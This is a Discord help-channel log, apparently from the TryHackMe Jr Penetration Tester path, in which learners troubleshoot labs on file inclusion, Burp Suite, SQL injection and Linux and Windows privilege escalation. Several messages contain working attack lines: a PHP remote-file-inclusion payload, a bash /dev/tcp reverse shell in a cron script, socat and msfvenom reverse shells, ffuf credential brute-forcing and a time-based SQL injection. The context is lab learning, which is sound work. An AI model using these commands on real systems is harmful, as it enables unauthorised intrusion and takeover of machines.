hi in need of some help, going through the burp suite basics and im at the bit about the scope and site map issues, my burpsuite does not have a tab for scope, just site map and issue definitions and also the target machine site wont load i get a burp suite error on my browser saying it cant connect

white whale
#

stuck on that, what would be the solution ?

#

topic : file inclusion

dire viper
#

Could someone help with the last question on this lab? https://tryhackme.com/room/fileinc

Gain RCE in Lab #Playground /playground.php with RFI to execute the hostname command. What is the output?

I have the simple http server running in the right folder with host.txt containing this:
<?php echo shell_exec('hostname');?>

and everytime I input this to my browser (10.10.53.13/playground.php?file=http://%28mytun0%29:8000/host.txt), I just get a blank output after File Content Preview. When trying this with random unreachable IPs it gives an error, so it is reaching the file just not giving any output for some reason. Feel like it could be a broken box, but also feel like I could be noobing pretty hard somewhere. Would appreciate any assistance

dire viper
prisma raptor
prisma raptor
somber shard
#

hello can u explain to me when should we use spoofing and decoys in which cases i mean (third room in the Nmap series)

wild cave
thin peak
unique solar
#

I dont use the attack box and on my kali vm this wordlist wasn't present; I got it from github, but I think sth changed in the meantime and the first and second result from the question were my second and third...

fickle wave
#

hi guys i got a problem i started a lab yesterday and i use the thm attackbox but i got 504 can anyone know the problem, i use the good ip the good url but nothing good (in the "walking an application" in "jr pentester"

mossy oxide
#

Hi Guys, there's something that seems strange with Task 4 - Traceroute in Active Reconnaissance. I think the answer may be wrong or I'm just misunderstanding something here. The question is asking the following "In Traceroute A, what is the IP address of the last router/hop before reaching tryhackme.com?" and the answer the site excepts is the following 172.67.69.208 but in the example the last hop before should be on line 13 100.92.9.83 since on the top of the attached image tryhackme.com resolves to 172.67.69.208.

mossy oxide
next lanceBOT
#

Gave +1 Rep to @sturdy harness

prisma raptor
#

!docs verify

tiny bluffBOT
short timber
#

Hi I have just joined but have been on THM a few times. I am stuck in Content Discovery, as the AttackBox firefox isnt working - any advice? thanks

remote iris
safe torrent
#

user@machine$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://MACHINE_IP - does the machine ip mean the actual url or do i need to do nslookup to get the numerical version? This is in the subdomain enumeration/virtual hosts

velvet bane
#

Machine for the task

#

And wait for one minute

#

The machine ip will change to the ip of the machine

safe torrent
next lanceBOT
#

Gave +1 Rep to @velvet bane

velvet bane
velvet bane
mossy oxide
# velvet bane Did you find out

No nothing yet. I think it’s accepting the wrong answers as correct. Because the IP it accepts is not the last IP before getting to the destination like the question is asking for.

velvet bane
#

Hmm I c

blazing crown
#

Hi. Having a hardtime getting the flag in Web Hacking > File Inclusion > Task 8 Challenge > Capture Flag2 at /etc/flag2. It's already in admin, can't seem to get the correct relative path? can you help with another hint? Thank you!

velvet bane
flat cloud
#

Hi all, this is a simple question. I'm not able to copy things from the Tryhackme website into the AttackBox. Has anyone a solution?

remote iris
flat cloud
#

Thank you!

velvet bane
#

is it okay to refer to the writeup for tasks?

#

after u try solving it on ur own ofc

#

i plan on redoing these tasks again at some point of time but just wondering

#

coz well im almost done with the junior pentest path

#

but i mean its more so taught me about all that can be done

#

and i do know about some stuff

#

but im not exactly confident persay

#

and i dont exactly have all the stuff in my mind with details

#

just have doors for stuff and then i have to refer to my notes or the internet

#

so im wondering if this is normal or what

#

and how can i well get better and more versed?

hard bobcat
# velvet bane is it okay to refer to the writeup for tasks?

if your learning i feel its ok. Especially if you are going back and re trying it. I starting doing thm like a month or so ago or so everyday. Just reading several walkthroughs and doing the labs daily, I feel so much more confident as I am progressing I am actually understanding some of what I am doing vs blindly copying.

velvet bane
hard bobcat
modest arch
#

what should i do after jr penteting if i want to become a pentester in the future

spare wyvern
hard bobcat
#

Im doing IDOR room in junior pentesting can anyone else view the site. It is telling me the domain is expired

burnt relic
#

i did it yesturday only

paper knoll
#

cant see the site

midnight maple
#

its a known issue at the moment, please keep an eye on #site-support. The issues have been reported to THM 🙏

void kelp
#

hi can we help me for task 9 linux privilege escalation capture flag5.txt i am blocked and idk what i have to do.Sorry but i can't screenshot don't ask me why i don't know myself so here exactly what i have do. i have already change right of execution by doing chmod +x on backup.sh.it's the good machine started on the task 9. GNU nano 4.8 backup.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.105.167/4545 0>&1

on another terminal nc -lvp 4545 but i don't became root and i stay being karen Listening on [0.0.0.0] (family 0, port 4545)
Connection from ip-10-10-144-163.eu-west-1.compute.internal 52690 received!
karen@ip-10-10-144-163:~$

remote iris
#

Attackbox or VM?

void kelp
#

Attackbox

#

i use ssh for connect

remote iris
#

Did you make the cron executable?

void kelp
#

cat etc/crontab?

remote iris
#

No, chmod it.

#

chmod +x backup.sh

void kelp
#

ah yes

#

yes i have already did it

#

i have findout a new thing if i start the cron on guacamole and look the listener on my attackbox i got this root@ip-10-10-105-167:~# nc -lvp 4545
Listening on [0.0.0.0] (family 0, port 4545)
Connection from ip-10-10-144-163.eu-west-1.compute.internal 52822 received!
karen@ip-10-10-144-163:~$ root@ip-10-10-105-167:~#
exactly word by word i precise.

unique solar
#

I'm on https://tryhackme.com/room/burpsuiteintruder
Task 13 Bonus question: Use Intruder to automate the column enumeration of the Union SQLi in the Repeater Extra Mile exercise.
I could need some inspiration on that, I do have only ideas like enumerating the count of columns but that is quiet clear at the beginning because of the response in the browser... I am a bit confused what I could do in any meaningful way...

EDIT: That gave me some ideas: https://tryhackme.com/forum/thread/623c4ffa32f06a005b4b7b33

blazing crown
unique solar
next lanceBOT
#

Gave +1 Rep to @midnight maple

errant garnet
#

Hey guys I'm new to the discord. I'm currently doing junior pentester subdomain enumeration. I don't quite get the idea of virtual host bruteforcing. I understand DNS bruteforcing as those DNS's are public, pretty self explanatory. What is the difference between using DNSrecon and ffuf? I can't seem to wrap my head around how they're doing different things. Is it because with ffuf you're specifying the IP and bruteforcing all the DNS on that IP? If so could you not still use a standard DNS bruteforce?

unique solar
# errant garnet Hey guys I'm new to the discord. I'm currently doing junior pentester subdomain ...

I maybe dont get all the aspects of your question, but one basic thing i can say is that dnsrecon does many different things and what you do in this task with ffuf is only one aspect of the things dnsrecon does by default. with the provided ffuf command it is really only about subdomain enumeration by a wordlist attack no dns lookups etc. and with this wordlist attack it is not about what is somewhere available, it is about FUZZ.example.com, which values of FUZZ return a valid response is the only question.

#

and if you have a look at what dnsrecon is doing you see that it does more (which is not necessarily useful in all scenarios): https://www.kali.org/tools/dnsrecon/

errant garnet
next lanceBOT
#

Gave +1 Rep to @unique solar

unique solar
# errant garnet Thank you this does help slightly. Would this be accurate: with a DNS bruteforce...

thats a tricky question for me because i am not so skilled in theoretically talking about this stuff and the differences between two wordlist based methods arent so big. i can only quote from the virtual hosts task which makes it kind of clear to me (but doesnt capture all aspects):

Some subdomains aren't always hosted in publically accessible DNS results, such as development versions of a web application or administration portals.
...
Because web servers can host multiple websites from one server when a website is requested from a client, the server knows which website the client wants from the Host header. We can utilise this host header by making changes to it and monitoring the response to see if we've discovered a new website.

errant garnet
#

This is a totally separate question, but what is the deciding factor in whether a subdomain is publically accessible via DNS results? Can a developer somehow choose to keep the site live but "private" so it cannot be accessed through normal DNS servers?

subtle dawn
#

Just to know.
i'm actually on task 8 (practical blind XSS) and i made the code with nc and made the ticket i just need to wait or i need to open my ticket?

#

I'm waiting rn but didnt get anything on nc

#

And if i open i get the cookie id but is not the staff one that i need to pass the task

unique solar
subtle dawn
#

I'm already using attack box

#

and i wait like 5 minutes and nothing

unique solar
subtle dawn
#

all correct right?

unique solar
# subtle dawn all correct right?

no! 0.0.0.0 is an alias for localhost... you have to use their the ip of the attackbox... an then set up a listener on port 9001 on attack box

subtle dawn
#

that way? nothing happens too tried to open an new tab using the IP+port and got something but nothing from the acme test site

#

nvm

#

forgot '

tall swallow
#

Hello
1-How long it takes to finish this path and understand it?
2-Would I be able to find a job with this path only?
3-any things to practice hacking by doing on THM?

gloomy snow
#

@tall swallow

  1. It depends on how many hours a day you study this path.
  2. No
  3. You can go to "Learn" > "Search" and then select "CTF". There you can practice all you've learned
tall swallow
next lanceBOT
#

Gave +1 Rep to @gloomy snow

remote iris
#
  1. This path takes an average of 64 hours to complete.
  2. TryHackMe certificates are for participation. You're not acually assessed under exam conditions.
tall swallow
gloomy snow
#

To find a job you need to go for other certificates like OSCP, SEC+. But having a cert isn't a guarantee to get a job (I guess nothing is a guarantee)

tall swallow
gloomy snow
sleek burrow
#

Hi all. Not stuck, but just curious: In the LFI room, it has you on lab #6 attempt to find what folder the PHP code is forcing to include. Obviously in the lab environment, it is listed right in the placeholder text and obvious access denied errors. In real life, where would be good places to look? Tried the network tab in firefox dev. tools but no dice.

wise vector
#

Winprivesc room. the command doesn't work and therefore continuing the room is impossible

prisma raptor
#

Or use && instead of &?

tall swallow
#

I joined my ex company with zero knowledge it IT.
In Japan, they train people from zero to hero. few people only pay to get a job here.

#

But i want to find the best company, so i decided to study again for better apportunity

marble bay
wise vector
#

Thanks

weary bough
#

hi, idk why if i run the extramile task in burpsuite intruder without adding the macros that make the sessione and loginToken changing over the requests i can get the status code of 200

#

how is it possible?

#

if i make the request with the repeater i get 403, but if i run pitchfork attack with the username and password wordlist i get statu 200 and 302

wooden marlin
#

I'm struggling with the room 'What is a Shell'. I can't seem to get a normal, non enctypted bind or reverse socat shell on a linux device.

For reverse I'm using the listener
socat TCP-L:<port> -
and payload
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

For bind I'm using the listener
socat TCP-L:<PORT> EXEC:"bash -li"
and payload
socat TCP:<TARGET-IP>:<TARGET-PORT> -

Trafic get sent but no shell conection is made

prisma raptor
wooden marlin
#

I got it working with the above commands. I think my syntax must have been off

gloomy snow
next lanceBOT
#

Gave +1 Rep to @gloomy snow

tall swallow
# gloomy snow Well I guess that's why. If you have IT background then it is a lot easier
#

They don't require any special knowledge.
I feel like finding a job outside Japan is really hard.

wraith pilot
#

I'm stuck in the Metasploit:Exploitation room task 6 when executing the elf file on the victim machine. It brings me segmentation fault

#

issue solved, had to change the payload on the multi/handler module

modest arch
#

im in the vunrabilites room 2 and i dunno how to do this

remote iris
#

python3 47887.py

modest arch
#

oh

#

should i do the second one right?

remote iris
#

Are you attacking a bookstore for RCE?

modest arch
#

yes

remote iris
#

Use thr URL :)*

modest arch
#

the http:// one?

remote iris
#

Yes

modest arch
#

still dont work

remote iris
modest arch
remote iris
#

Remove the unrecognised arguments.

#

Just have python3 *file.py* URL

modest arch
#

oh

#

yes thank u very much

remote iris
#

You got RCE now?

modest arch
#

yes

#

i got the flag

remote iris
#

Super!

modest arch
#

👍

#

+rep Scrubz

#

how do i vouch you

#

/vouch Scrubz

remote iris
#

That's ok.

but to apply rep to someone just reply to someoen and say "thanks" thx" etc.

You can also tag them

#

+rep @modest arch

next lanceBOT
#

Gave +1 Rep to @vague current

modest arch
#

oh okay

#

+rep @remote iris

next lanceBOT
#

Gave +1 Rep to @remote iris

modest arch
#

what do they even do

remote iris
#

It's just points, it's not used for much

modest arch
#

oh

#

okay

modest arch
#

i need u again scrubz

#

i opened a nc lisener and it dont want to connect to the lisener

simple wren
#

Finally i was able to finish this after 1 year haha.

prisma raptor
unique solar
modest arch
#

no

unique solar
#

or try to run nmap on it to see if sth is responding...

modest arch
#

it is

#

i mean i just looked the answer on the internet

#

so yeah

#

sad

#

but it had to be done

modest arch
#

In Linux Priv Esc is the last machine vulnerable to the PATH exploit? Mine says permission denied

modest arch
#

im a little bit confused on how msfvenom works is there a resource that explains it diffrently to tryhackme or any video and such?

prisma raptor
prisma raptor
modest arch
#

ill do that thanks

prisma raptor
#

There are other resources you can look at as well.

maiden grove
#

should i take this path before web fundamentals?

subtle dawn
#

SQL Injection task 8

#

referrer=admin123' UNION SELECT SLEEP(5),2 where database() like '%u';--

Even when i use this te request time is 0.001

#

Not the 5sec

#

is there anything wrong in my command?

#

nvm founded

#

got to reload page

sleek burrow
maiden grove
# modest arch No

why? on the path guidance pinned in general it seems to say to take this first

modest arch
#

also im nub

maiden grove
subtle dawn
#

But not necessarily because web hacking will help you with that anyway

#

All about your choice

proper turtle
#

i seem to have no target section here

remote iris
#

Which burp room are you doing?

proper turtle
remote iris
#

Need to load up my vm and burp

proper turtle
#

ok

remote iris
#

What do you mean by target section?

What are you doing exactly?

#

Do you mean like that?

proper turtle
#

there is meant to be a target option

#

or do i not need that

remote iris
#

If you loaded a website up in burp, then right click > send to intruder

#

You'll get a target field.

proper turtle
#

ah ok

weary shell
#

Anyone here taken ejpt after this path?

worn solstice
#

Hi People...I am trying to complete this module. However, when I am clicking on http://machine_ip/sitemap.xml it keeps on loading the server not found. I tried changing the name machine_ip with the connected ip_address, but that still gives me same error. What can be done in this case, as it is not allowing me to complete any module. Same thing with the next topic also. Any guessess?

worn solstice
#

Tried both, same results..

remote iris
#

Are you on the VPN?

I access it earlier.

worn solstice
#

I tried with OpenVPN in my kali linux - same result, and also AttackBox provided by THM - same results.

#

This is actually happening from yesterday. I thought this could be because of exceeding 1 hour/day, but the same case after 24 hours.

remote iris
#

Can you link the room?

worn solstice
#

How should I do that? No idea. Please share steps.

remote iris
#

Which room are you having an issue with?

worn solstice
#

This is where I am

#

I tried this in Kali and also outside in the host system. Same results.

remote iris
#

Give me one moment please.

worn solstice
#

Sure, thanks!

remote iris
#

You're doing Task 4, right?

worn solstice
#

Introduction to Web Hacking/content discovery /Manual discovery sitemap.xml

remote iris
#

This task though?

worn solstice
#

Yes

#

The place where it shows you the link with an ip address, over there, it shows me Machine_IP

remote iris
#

I click on the green start machine and that will give me the ip above.

#

That will populatre this field also.

worn solstice
#

IP address is already showing at the top, but I am not able to open that link. It does not work for me..I do not see an option here to share an image, otherwise I would

remote iris
#

!docs verify

tiny bluffBOT
remote iris
#

Follow the above steps.

worn solstice
#

Have send you the images

remote iris
#

You're not starting the machine on task one.

remote iris
worn solstice
#

Ohh shit. I got you now. I started the machine from top, where it shows Attackbox option.

#

This is associated with the task 1...Ohh Man!! I have been pissed off from yesterday.

#

Thanks a lot..Checking now.

remote iris
#

That machine will be used for all 12 tasks

worn solstice
#

Also, how do I verify this...It seems I am not verified..

remote iris
#

I sent the link above.

#

Do you have embeds enabled?

worn solstice
#

Yes, I open-up the link, but it asking me to check the bot towards right side. I don't see any bot

remote iris
#

@tiny bluff

worn solstice
#

Nope, nothing as such is found.

remote iris
#

@tiny bluff

#

Can you see it now? I just tagged it

worn solstice
#

Yes, I got the bot now..I sent the !verify <token>

#

no response

remote iris
#

Are you DM's open?

worn solstice
#

Yes

worn solstice
#

No message as verified or any response from bot...any idea?

remote iris
#

I've pinged the bot maintener, they may be busy currently.

worn solstice
#

Okay, cool! Thanks 🙂 I have started working on the THM room now. It is working. Appreciate your help.

primal whale
worn solstice
#

OKay, sure. Trying now

#

Great! Now it worked.

primal whale
#

Good to hear. Thanks 🙂

whole wren
#

xssgi room task 8 not working whatsoever

#

it s just frustrating

#

attackbox not working

#

my own vm not working

#

i don t receive anything on netcat

modest arch
#

Why is Task 6 in Windows Priv Esc like 1 kilometer long 💀 💀 💀

subtle dawn
#

SQL Injection task 8, Tried all a-z 0-9 all caracters and any timeout

#

referrer=admin123' UNION SELECT SLEEP(2),2 where database() like '%';--

sage current
subtle dawn
#

Just nothing

sage current
#

hmmmm

#

not sure

subtle dawn
#

trid open on kali, just in browser with attackbox

#

Just nothing too

sage current
#

maybe the sleep time is to fast

subtle dawn
#

with 5 sec nothing too

#

Tried it rn

#

referrer=admin123' UNION SELECT SLEEP(2),2 where database() like '%';--

#

ops

#

its on kali

#

any results too

sage current
#

try 'u%'

subtle dawn
#

nop 😦

sage current
#

is 0.001 the same time as 5 sec???

#

because that looks weird

subtle dawn
#

no

#

Once i tried and got all the 5sec and 2 sec too but today i re-started it to try it againd and any results

#

Days ago i got "analytics" as a database

#

Today even i put that just got 0.001

sage current
#

try restarting the target machine then

subtle dawn
#

ill try

#

nothing too

sage current
#

okay now try a request with some other letter then u

#

anyways gotta go sleep now so hopefully someone else can help

subtle dawn
#

ty anyway

modest arch
#

You're on the right tracks.

#

If it comes to it and you really can't figure out no harm reading the dozens of hints on the forums either. Long as your learning imho 🙂

subtle dawn
#

didnt know that thx

white whale
next lanceBOT
#

Gave +1 Rep to @ebon rune

modest arch
#

Great to hear it!

modest arch
#

/room/windowsprivesc20

Task 6, SeTakeOwnership

when we type whoami /priv, we can see that the SeTakeOwnershipPrivilege is Disabled, but then we continue to type in

takeown /f C:\Windows\System32\Utilman.exe

and it works.

So how does it work? How can it be disabled but work at the same time?

charred basin
#

I'm on task 5 of Windows Privilege Escalation. I'm following along and I have permissions to stop WindowsScheduler but not start.

#

It says I need Administrator privileges to start it. So I had to use icacls to grant full permision to everyone.

#

It just wasnt in the step by step so I can see that being confusing to some people.

modest arch
#

🔥🔥🔥

worn solstice
modest arch
worn solstice
#

Amazing!! Congratulations

modest arch
next lanceBOT
#

Gave +1 Rep to @worn solstice

red wind
modest arch
modest arch
#

Hello all,

I have some issue with Active Directorory lateral Movement and Pivoting room, unable to ping THMDC Machine(10.200.64.101) from THM AttackBox and my own kali VM throw VPN?

Someone here have already faced same issue ?

Note: all network(dns @ip assignment and resolv.conf file updating) setup has been completed correctly but can't reach THMDC from both sides

Thank you in advance for your help

============THM AttackBox ping output below======
root@ip-10-10-100-42:~# systemd-resolve --interface lateralmovement --set-dns 10.200.64.101 --set-domain za.tryhackme.com
root@ip-10-10-100-42:~# ping 10.200.64.101
PING 10.200.64.101 (10.200.64.101) 56(84) bytes of data.
From 10.50.61.1 icmp_seq=1 Destination Host Unreachable
From 10.50.61.1 icmp_seq=2 Destination Host Unreachable
From 10.50.61.1 icmp_seq=3 Destination Host Unreachable
From 10.50.61.1 icmp_seq=4 Destination Host Unreachable
From 10.50.61.1 icmp_seq=5 Destination Host Unreachable
From 10.50.61.1 icmp_seq=6 Destination Host Unreachable
From 10.50.61.1 icmp_seq=7 Destination Host Unreachable
From 10.50.61.1 icmp_seq=8 Destination Host Unreachable
^C
--- 10.200.64.101 ping statistics ---
9 packets transmitted, 0 received, +8 errors, 100% packet loss, time 8115ms
pipe 4

Regards

wild cave
#

hi,

in what order should i learn the ' Jr Penetration Tester ' path on thm? i learned ' Introduction to Web Hacking ' up to the local file inclusion room and i got stuck at the end of it, and i finished the network-security room, and now i am also stuck in the Metasploit room " exploitation " at task 5, i hacked into the machine but cant navigate through the files. i feel like i am doing pentesting path in the wrong order. can anyone help?

clever cloud
#

Hi,
Anyone having issues with Netcat command while solving the Windows Priv Esc lab?
I am unable to get reverse shell in my kali machine, but it perfectly works for THM AttackBox. Please help

clever cloud
shadow echo
#

!docs verify

tiny bluffBOT
shadow echo
#

Do sudo killall openvpn
Then connect to the vpn again.
Then check ip a again to make sure there is only tun0 and no extra tun1, tun2 etc.

clever cloud
remote iris
#

Add in -9

shadow echo
clever cloud
#

yes, also rebooted the machine.

shadow echo
clever cloud
#

Command line, I will re-try the command and turn off the machine. hopefully it will work.

shadow echo
#

Not sure if adding -9 will make a difference, but you could try as Scrubz suggested

shadow echo
clever cloud
shadow echo
clever cloud
shadow echo
clever cloud
clever cloud
#

yes the exe file is in the windows target m/c

shadow echo
clever cloud
#

sudo msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.17.68.142 LPORT=9000 -f exe-service -o rev.exe

shadow echo
clever cloud
# shadow echo Could you show a screenshot to make sure there was no typo?

Hi,
Thanks for your support!
I got the reverse shell. 🙂

Changes

  1. Script had to be changed windows/x64/shell_reverse_tcp LHOST=xx.xx.xx.xx LPORT=4545 -f exe -o reverse.exe
  2. Download the file in C:\Users\user
  3. grant permission in windows before execution -> C:\Users\user >icacls reverse.exe /grant Everyone:F
  4. Move file from C:\Users\user to C:\PrivEsc
  5. Start listener in kali machine $sudo nc -nlvp 4545
  6. Execute the .exe file --> C:\PrivEsc>./reverse.exe

Most important, i forgot to change my Network Adapter setting in VirtualBox (it was selected default a Bridge).

next lanceBOT
#

Gave +1 Rep to @shadow echo

shadow echo
clever cloud
next lanceBOT
#

Gave +1 Rep to @shadow echo

rose echo
#

Am I the only one who absolutely does not get the Privilege Escalation part on Jr Pentest?

To me it feels like 'this is what it is, this is 1 example, now we give you the case which doesn't work the same, good luck, just solve it'

#

I have no idea what I am doing when I am following along with the instructions and then when I have to do it on my own, I habe no idea what to do

clever cloud
rose echo
#

Thank you that helps

clever cloud
clever cloud
#

Anyone facing issues with tryhackme?

halcyon python
#

me as well

void path
#

Can anyone tell me why i get no data after that command in the bruteforce task
ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/login -fc 200

#

i changed the ip dw

zinc hull
#

Did you make the valid_usernames.txt?

#

Touch valid_usernames.txt

#

And then nano the names from the thing before

#

Robert, etc I can’t remember the other names

#

And then you can run that command

#

If I’m right it will look at all those accounts usernames in the file and then it will try and match the password with one of the common passwords to try and find it

#

There will be a W1 and a W2 one is the username and other is the password

#

I did this one yesterday I struggled a bit also ahahah but I forgot that cat was used for reading a file not opening

void path
#

Well i instantly saved the username data with > valid_usernames.txt

#

And had a file and then deleted everything except the names

zinc hull
#

ah so you manage to make it work?

void path
#

no

random gull
# void path no

when you deleted all the other data, did you put the names on seperate lines (enter after each name.)? or did you keep them all on one line. if u did the latter, the output will be nothing.

hope this helps. 🙂

void path
random gull
void path
#

alr ill check tomorrow

prisma raptor
cobalt mountain
#

I was going through the Windows PrivEsc and in the 'Abuse Service Misconfiguration' section there is a part where we need to look for 'Insecure Permission on Service Executable'. I am wondering if there are any commands that I can use for this or you need to check manually? (as it's going to take while we going over each exe for each service)

maiden grove
#

just starting this path. have you guys been enjoying it?

cobalt mountain
clever cloud
# cobalt mountain I was going through the Windows PrivEsc and in the 'Abuse Service Misconfigurati...

Yes there is a lengthy method of doing this (but you definitely need to have patience, it's all about trial and error method)

  1. C:> sc query state=all
  2. Go through the list of all services that are running with higher privileges eg LocalSystem.
  3. Locate the executable file, eg ImagePath is the right parameter which we got from sc command
  4. Check the permission for the executable file; write permissions can use icacls for more understanding; test permissions.
  5. If point no-4 is fully satisfied then try to create acopy of the executable in the same directory and modify the existing executable contents.
#

I have personally done this method and it is super time consuming,
if anyone in group has better options/methods, plz do share!

All the best! Happy Learning.

next lanceBOT
#

Gave +1 Rep to @clever cloud

wraith pilot
#

I don't know how to activate the webshell scripts in the What the Shell room

#

I don't know if I'm doing it the correct way, for example I got it to work a way but don't know if it was the intended

#

This is how I modified the php-reverse-shell script to get it to activate